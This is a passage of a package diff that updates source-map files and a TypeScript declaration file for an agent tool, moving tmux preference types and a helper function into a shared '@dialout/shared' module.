,CAAC,CAAC,CAAC;YACrD,CAAC;YACD,IAAI,KAAK,CAAC,MAAM,EAAE,CAAC;gBACjB,QAAQ,CAAC,KAAK,EAAE,IAAA,wBAAY,EAAC,IAAI,CAAC,MAAM,EAAE,IAAI,CAAC,IAAI,CAAC,YAAY,EAAE,IAAI,CAAC,GAAG,EAAE,CAAC,CAAC,CAAC;YACjF,CAAC;QACH,CAAC,CAAC,CAAC;QAEH,IAAI,CAAC,GAAG,CAAC,QAAQ,EAAE,IAAI,CAAC,CAAC;QACzB,IAAI,CAAC,IAAI,CAAC,KAAK,EAAE,CAAC;IACpB,CAAC,CAAC,EAAE,CAAC;AACP,CAAC;AAED,SAAgB,cAAc,CAAC,QAAgB;IAC7C,MAAM,IAAI,GAAG,IAAI,CAAC,GAAG,CAAC,QAAQ,CAAC,CAAC;IAChC,IAAI,CAAC,IAAI;QAAE,OAAO;IAClB,IAAI,CAAC,IAAI,CAAC,IAAI,EAAE,CAAC;IACjB,IAAI,CAAC,MAAM,CAAC,QAAQ,CAAC,CAAC;AACxB,CAAC;AAED,SAAgB,kBAAkB;IAChC,KAAK,MAAM,IAAI,IAAI,KAAK,CAAC,IAAI,CAAC,IAAI,CAAC,IAAI,EAAE,CAAC;QAAE,cAAc,CAAC,IAAI,CAAC,CAAC;IACjE,2EAA2E;IAC3E,8CAA8C;IAC9C,IAAA,wBAAY,GAAE,CAAC;AACjB,CAAC;AAED,6EAA6E;AAC7E,sEAAsE;AACtE,0BAA0B;AAC1B,MAAM,UAAU,GAA2B;IACzC,QAAQ,EAAE,QAAQ;IAClB,QAAQ,EAAE,KAAK;IACf,IAAI,EAAE,OAAO;IACb,IAAI,EAAE,KAAK;CACZ,CAAC;AAEF,SAAgB,YAAY,CAAC,QAAgB,EAAE,IAAY;IACzD,MAAM,KAAK,GAAG,UAAU,CAAC,IAAI,CAAC,CAAC;IAC/B,IAAI,KAAK;QAAE,OAAO,CAAC,CAAC,WAAW,EAAE,IAAI,EAAE,QAAQ,EAAE,KAAK,CAAC,CAAC,CAAC;IACzD,OAAO;QACL,0EAA0E;QAC1E,2EAA2E;QAC3E,CAAC,WAAW,EAAE,IAAI,EAAE,QAAQ,EAAE,IAAI,EAAE,IAAI,EAAE,IAAI,CAAC;QAC/C,CAAC,WAAW,EAAE,IAAI,EAAE,QAAQ,EAAE,OAAO,CAAC;KACvC,CAAC;AACJ,CAAC;AAMD,SAAgB,WAAW,CAAC,QAAgB,EAAE,IAAY,EAAE,OAAiB,EAAE;IAC7E,uEAAuE;IACvE,mDAAmD;IACnD,MAAM,SAAS,GAAG,IAAA,yBAAa,EAAC,QAAQ,CAAC,CAAC;IAC1C,IAAI,SAAS,EAAE,CAAC;QACd,MAAM,GAAG,GAAG,IAAA,uBAAW,GAAE,CAAC,IAAI,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC,CAAC,SAAS,KAAK,SAAS,CAAC,CAAC;QACjE,IAAI,GAAG;YAAE,IAAA,mBAAO,EAAC,GAAG,EAAE,IAAI,EAAE,KAAK,CAAC,CAAC;QACnC,OAAO;IACT,CAAC;IACD,MAAM,GAAG,GAAG,IAAI,CAAC,GAAG,IAAI,CAAC,CAAC,IAAc,EAAE,EAAE;QAC1C,IAAA,wBAAQ,EAAC,MAAM,EAAE,IAAI,EAAE,EAAE,OAAO,EAAE,IAAI,EAAE,EAAE,GAAG,EAAE,GAAqB,CAAC,CAAC,CAAC;IACzE,CAAC,CAAC,CAAC;IACH,KAAK,MAAM,IAAI,IAAI,YAAY,CAAC,QAAQ,EAAE,IAAI,CAAC;QAAE,GAAG,CAAC,IAAI,CAAC,CAAC;AAC7D,CAAC"}
1
+ {"version":3,"file":"ai-sessions.js","sourceRoot":"","sources":["../src/ai-sessions.ts"],"names":[],"mappings":"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"}
package/dist/config.d.ts CHANGED
@@ -1,4 +1,4 @@
1
- import { TmuxPrefs } from './tmux-config';
1
+ import { TmuxPrefs } from '@dialout/shared';
2
2
  export interface ProfileConfig {
3
3
  serverUrl: string;
4
4
  apiKey: string;
@@ -43,7 +43,5 @@ export declare function applyProfile(config: AgentConfig, name?: string): AgentC
43
43
  export declare function saveProfile(name: string, profile: ProfileConfig, makeActive?: boolean): AgentConfig;
44
44
  export declare function saveConfig(config: AgentConfig): void;
45
45
  export declare function getConfigPath(): string;
46
- export declare function resolveTmuxPrefs(config?: {
47
- tmux?: any;
48
- }): TmuxPrefs;
46
+ export { resolveTmuxPrefs } from '@dialout/shared';
49
47
  //# sourceMappingURL=config.d.ts.map
@@ -1 +1 @@
1
- {"version":3,"file":"config.d.ts","sourceRoot":"","sources":["../src/config.ts"],"names":[],"mappings":"AAGA,OAAO,EAAE,SAAS,EAAsB,MAAM,eAAe,CAAC;AAK9D,MAAM,WAAW,aAAa;IAC5B,SAAS,EAAE,MAAM,CAAC;IAClB,MAAM,EAAE,MAAM,CAAC;CAChB;AAED,MAAM,WAAW,WAAW;IAE1B,SAAS,EAAE,MAAM,CAAC;IAClB,MAAM,EAAE,MAAM,CAAC;IACf,aAAa,CAAC,EAAE,MAAM,CAAC;IACvB,QAAQ,CAAC,EAAE,MAAM,CAAC,MAAM,EAAE,aAAa,CAAC,CAAC;IACzC,SAAS,EAAE,MAAM,EAAE,CAAC;IACpB,SAAS,EAAE;QAAE,IAAI,EAAE,MAAM,CAAC;QAAC,EAAE,EAAE,MAAM,CAAA;KAAE,CAAC;IACxC,iBAAiB,EAAE,MAAM,CAAC;IAC1B,YAAY,EAAE,MAAM,CAAC;IACrB,MAAM,CAAC,EAAE,OAAO,CAAC;IACjB,8EAA8E;IAC9E,eAAe,CAAC,EAAE,MAAM,EAAE,CAAC;IAC3B,8DAA8D;IAC9D,IAAI,CAAC,EAAE,OAAO,CAAC,SAAS,CAAC,GAAG;QAAE,MAAM,CAAC,EAAE,OAAO,CAAC,SAAS,CAAC,QAAQ,CAAC,CAAC,CAAA;KAAE,CAAC;CACvE;AAED;;;;;;GAMG;AACH,wBAAgB,YAAY,CAAC,OAAO,EAAE,MAAM,GAAG,MAAM,CAEpD;AAED,iFAAiF;AACjF,wBAAgB,kBAAkB,CAAC,OAAO,EAAE,MAAM,GAAG,MAAM,CAE1D;AAOD,eAAO,MAAM,kBAAkB,6BAA6B,CAAC;AAC7D,eAAO,MAAM,wBAAwB,yBA